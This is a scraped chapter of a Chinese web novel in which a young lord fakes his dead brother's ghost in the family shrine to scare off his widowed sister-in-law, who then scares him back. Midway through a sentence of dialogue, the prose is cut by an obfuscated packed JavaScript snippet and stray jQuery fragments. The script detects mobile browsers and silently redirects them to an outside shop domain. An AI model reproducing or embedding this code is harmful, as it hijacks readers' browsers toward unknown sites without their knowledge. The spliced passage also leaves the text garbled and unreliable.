文趣网 > 其他小说 > 成为纨绔的命硬寡嫂后 > 7. 还魂
    在湖园简单用过晚饭后,天已经微微透黑了。

    随予荇捧着手抄的经书,推开了闻家祠堂的大门。

    祠堂大门后是一扇雕花镂空落地长屏,长明灯昏黄的光透过雕花,笼着随予荇平静如水的神色,将她身上那件黄罗大袖衫的颜色也压得暗淡了许多。

    落地长屏后,是一座紫檀木制成的三层神龛,梁柱前的供桌上摆着的数盏长明灯将神龛里的牌位一一照亮。

    很快,随予荇便找到了闻宏清的牌位。

    随予荇将经书小心地摆在香炉的中央,又从冬序手中接过一炷香,跪在蒲团上,闭眼朝牌位一拜。

    一瞬而过火光擦了擦牌位,梨木牌位上的描金字迹便闪了闪。

    随予荇盯着牌位,神情转而肃穆。

    不论宣平侯府的疑云如何,闻宏清是为国捐躯的将领,这真情实意的一拜也无妨。

    只是冬序在身后盯着,总不好供了经书,上了香,便抬脚就走。

    随予荇仍跪在蒲团上一动不动,若有所思地盯着神龛里的牌位。目光从神龛的顶层依次往下扫过闻家的一块块牌位,看看牌位上的名字,也能再耗上一会儿工夫。

    神龛最右侧的牌位后好像还掩着一个小牌位,随予荇侧身探头去看,却因隔得太远,看不清那块小牌位的刻字。

    冬序屈膝道:“主子,你一定还有许多话要同大公子说,我先到门外等着。”

    随予荇默然,算是应了她。

    身后的大门虚掩住后,随予荇心里半绷着的弦算是松了松,开始暗暗盘算。

    如今入了侯府,比在凝玄寺少了许多自由,行事也不太方便,消息相较于外面的人,也更为闭塞。

    当务之急,还是要想办法出去,与同伴取得联系才是。

    随予荇知道,像宣平侯府这样的门第,对于儿媳的约束繁多。为了侯府的名声,更恨不得让丧夫的儿媳每日守在祠堂的这块牌位才好,怎么会松口给她自行出入的自由?

    若是有个头疼脑热,也是侯府请大夫进来瞧病,断没有让她出去的道理。她如今不过是个无足轻重的寡妇,无权接触侯府的事务,也没有借口外出采买的机会。她初来乍到,在河州也没有亲近的朋友,更没出门走动的可能。

    左思右想,样样都行不通,可死等下去也不是个办法。

    一时之间,随予荇没了主意,心里不禁变得焦灼。

    忽而眼前的亮光暗了几分,随予荇回神去看,听见扑簌的风从神龛后的那扇镂空花窗扑入,烛火摇晃,霎时灭了几支。

    这风来得阴森,将供奉在闻宏清牌位前的经书吹开,吹得书页哗哗作响。这脆响落入耳中,格外刺耳。灌入祠堂的风像是仍不知足,将火烛悉数吹灭后,又往随予荇的脸上扑去。

    风贴着头皮吹过,像是一把悬在头顶的尖刀,让人起一阵战栗。

    供桌上唯剩几盏昏黄的长明灯,根本不足以将祠堂照亮。随予荇顿时从蒲团上弹起来,借由微弱的光亮,往供桌上摸了一支香烛,正举着往长明灯灯芯去凑,神龛顶上吹来的风却越来越猛烈。

    神龛顶上隐隐约约传来窸窣声,一团黑影极快略过,降下一团更浓重的黑,衬得长明灯的火光更为昏暗。

    “谁?”随予荇镇定地点了香烛,环顾四周。

    颈后似有风拂过,更像是无形的冰凉呼吸,慢慢地将她的后颈扼住。随予荇转身伸手一挥,却什么也没碰到。

    “既然你怕我,又何需来看我?上回我给你托梦的时候,你也是如此。”

    神龛前一个穿着白衣,头发束得极其规整的人影闪过。人影虽背对着她,说的话却透着一种凉意。

    随予荇攥着香烛的手指发紧,眼睛不由得瞪圆了,“你是夫君?”

    白衣人影冷哼一声:“你说好要与我同生共死的,怎么你反悔了?你是知道了我父亲是宣平侯,贪图我闻家的家财,还是根本就是贪生怕死,才借托梦之事躲到河州来?”

    随予荇听见这道发问的声音,眼睛在黑暗里变得更为清亮。

    她向来不信神佛之说,怎么她才踏入闻家祠堂没多久,闻宏清便显灵了?

    她举着火烛走近神龛后的那道人影,伸手往前抓了一把,手腕却被神龛供桌下的一双只冰凉彻骨的手遏住。

    那手就像是从砖石的缝隙里长出的滑腻青苔,一块虚虚实实地搭在手背上,让人后背发毛。

    随予荇伸手正要打下,那只手却滑走了,等她抬头往前看时,那个人影缓缓转过身来,露出一张血色模糊的脸。

    那张脸的皮肉像是被刀刃一道道地割开,眉眼四周伤痕累累,汩汩鲜血溢出,糊着分离的皮肉,头骨又像是被碎石砸过,额角坑坑洼洼。就连得那双眼睛也含着血,似乎下一瞬便要流出来。

    “我不会放过你的,只要你还在宣平侯府里一日,我便会日日入你梦中,直到你死了。”

    “啊……”随予荇尖叫出声,三两下丢了火烛,慌不择路往祠堂门口跑去。

    待尖叫声消失后,那个血肉模糊的白影动了动,伸手往脸上抹了一把,低头小声问道:“公子,少夫人被我们吓跑了,那我们的事算是做成了?”

    闻晏安从供桌下爬起来,得意笑道:“她德行有亏,见兄长显灵了,定然心中惊惧,更怕兄长的魂魄来索命,说不定眼下已经滚回去收拾行李,想趁夜逃走了。”

    长顺将脸上的颜料擦了擦,问:“公子,可若是她说出祠堂闹鬼的事呢?夫人若事知道了,一定会来查,若是查到公子头上,夫人定然动怒。”

    “打住。”闻晏安按了按眉心,道:“祠堂里从来没闹过鬼,怎么偏她一来便闹鬼了,定然是她心中有鬼。阿娘眼睛亮,定然分得清是非曲直。若她心中无鬼,缘何会被我吓一跳?”

    长顺点点头。

    闻晏安颇为嫌弃地朝他扬扬下巴,“快回去洗把脸,大晚上的确实挺吓人的。莫说是她了,就连我一不留神转头看你都会被你吓到。”

    说罢,闻晏安转过身将灭了的香烛都重新点燃,后又跪在蒲团上,朝闻宏清的牌位一拜,“兄长,我虽不知道你和她之间的纠缠,可我知道她并非是你良人,也不是个心思纯正的人。今夜我借由你的名义在这里闹了一场,还请兄长恕罪,我所做的一切都是为了宣平侯府,兄长在天有灵,请护佑爹娘也护佑宣平侯府。”

    走出祠堂大门,要绕经一条长长的抄手游廊原路返回。

    才跨过祠堂的门槛,长顺便在身后鬼哭狼嚎叫了一声:“公子,有鬼,有鬼……”

    闻晏安置若罔闻。

    长顺伸手揪住闻晏安的衣袖,又叫了一声:“公子,你看游廊里有一个穿着白衣的人,你看,就在那里。”

    闻晏安循着长顺所指方向一看,果然看见一个白衣人影游过,从不远处出现又走进拐角处。从拐角处走出来,又没入草丛中。

    这个白影的行踪极快,闻晏安根本没有看清他的模样,抬脚便要往前追。

    长顺跟在后面,劝阻道:“公子,许是我们刚刚装神弄鬼招了祸。那些鬼魂以为我们是他们的同类,要来找我们了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864139|212138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你可千万别上去,万一冲撞了他们,小人可怎么跟夫人交待?”

    闻晏安白了他一眼,道:“眼下便只有你这样一个血色模糊的鬼,哪还有旁人?说不定是有人在这里装神弄鬼,本公子定要抓他个现形。”

    长顺见劝阻无果,心中尽管害怕,为了闻晏安的安慰,还是红着一张脸追上去了。

    闻晏安追到转角,却见空无一人,东看看,西找找时,转角处的一间厢房门,却发出咿呀的闷声。

    他的瞳孔微微缩了缩,吸了一口凉气后,抬脚踹开了门。

    厢房里还是一片漆黑,不见人影浮动,也听不见有任何的声响。

    长顺紧紧地贴在闻晏安身后,劝道:“公子,别找了,我们快些回去吧。我听那些老妈妈说,鬼魂无眼,肆意乱撞,或许在门缝出现,又或许在地缝出现,我们是找不到的。撞上他们可不是闹着玩的,公子,回去吧。”

    闻晏安往厢房里扫了扫,的确什么也没看见,正想往外走,再寻另一条路去追时,门口忽而浮出一张脸,那张脸没有眉眼,也没有鼻子和嘴巴。

    往那张脸顶上去看,看得一块白布自上覆下,看不见有头发。身体也是白乎乎一片,看不见脚。

    就像白纸一样苍白诡异,或许说这人就是纸糊的。

    闻晏安想起徐真小时候同他说过,阴气最重的时候最容易碰到鬼。鬼是没有五官的,也是没有脚的,若是有恶鬼伤人,只能撒一把糯米镇住。

    闻晏安额头冒汗,护着长顺往后退了几步,又慌乱地往身上摸了一把,翻出了一包碎银。可这碎银比糯米大多了,不一定能糊弄得了眼前的鬼。

    眼见那张脸越逼越近,长顺尖叫一声,霎时晕过去。

    闻晏安喉咙发干,缩着身子退到墙角,正想死马当活马医,往前抛出碎银时,那鬼忽而停住了脚步。

    “二公子,装神弄鬼好玩吗?”

    闻晏安定在原地,目瞪口呆地看着鬼将脸皮撕下来。谁知覆在那鬼脸上的只是一张白纸,白纸后露出一张似笑非笑的脸。

    这哪是什么鬼,分明便是他刚刚吓退的人。

    “你怎么会在这里,你不是早便跑出去了吗?”

    随予荇扯下披在头顶的白布,冷冷道:“若我不装作被吓到,二公子今夜这场戏不就白演了?我素来便是礼尚往来的人,二公子请我看了一场戏,我也要请二公子再看一场,才不算是占了二公子的便宜。”

    闻晏安气急:“你你你,竟敢吓本公子,我要告诉阿娘。”

    随予荇反而冷笑:“二公子,若是夫人知道你借由夫君的名义,在祠堂闹了一场,不知道她会是如何反应。若二公子能承担这个后果,我自然也能承受。”

    “我不过是爱在晚上穿着白衣四处晃荡,不慎吓到了心虚的人罢了,何错之有?”

    闻晏安咬牙切齿,气得满脸通红,“你敢威胁我?”

    随予荇淡然回道:“我这是同二公子有商有量,好好说话。”

    “二公子若是要告,今夜我也不睡了,恭候二公子来告。”

    闻晏安自知理亏,气鼓鼓地拍了拍躺在地上的长顺,只是长顺仍昏着,一时半会儿醒不过来。

    没等将人叫醒,闻晏安一溜烟地便跑了。

    随予荇早就看穿了他眼底的小心思,自然也清楚他慌忙逃离的因由。

    再留在这里,他张牙舞爪的气焰撑不了多时,在被她看穿之前,还是先走为好。

    退一步海阔天空。

    随予荇想,这个道理,他还是懂的。